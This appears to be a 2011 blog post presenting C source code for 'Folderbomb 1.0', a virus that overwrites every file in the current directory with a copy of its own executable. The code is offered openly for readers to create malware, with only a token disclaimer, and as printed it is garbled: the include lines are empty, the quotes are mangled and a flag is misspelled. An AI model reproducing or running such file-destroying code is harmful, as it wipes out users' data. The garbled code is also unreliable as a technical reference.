Sunday 14 August 2011
0
Create Virus Code In C Language
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{
char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(‖————————————————————————–‖);
printf(‖\nVirus: Folderbomb 1.0\nProgrammer:BAS
Unnikrishnan(asystem0@gmail.com)\n‖);
cprintf(‖————————————————————————–‖);
done = findfirst(‖*.*‖,&ffblk,0);
while (!done)
{
printf(‖\n‖);
cprintf(‖ %s ―, ffblk.ff_name);printf(‖is attacked by ―);
cprintf(‖Folderbomb‖);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{
byt=read(source,buf,512);
if(byt>0) write(target,buf,byt);
else break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
still I do not recommend to use this virus for bad purpose
Subscribe us via E-mail and Add us on Facebook for daily updates and Plz also do click once on the ads displaying below or above the post for us.. :)
Subscribe to:
Post Comments
(
Atom
)
0 Responses to “ Create Virus Code In C Language ”
Post a Comment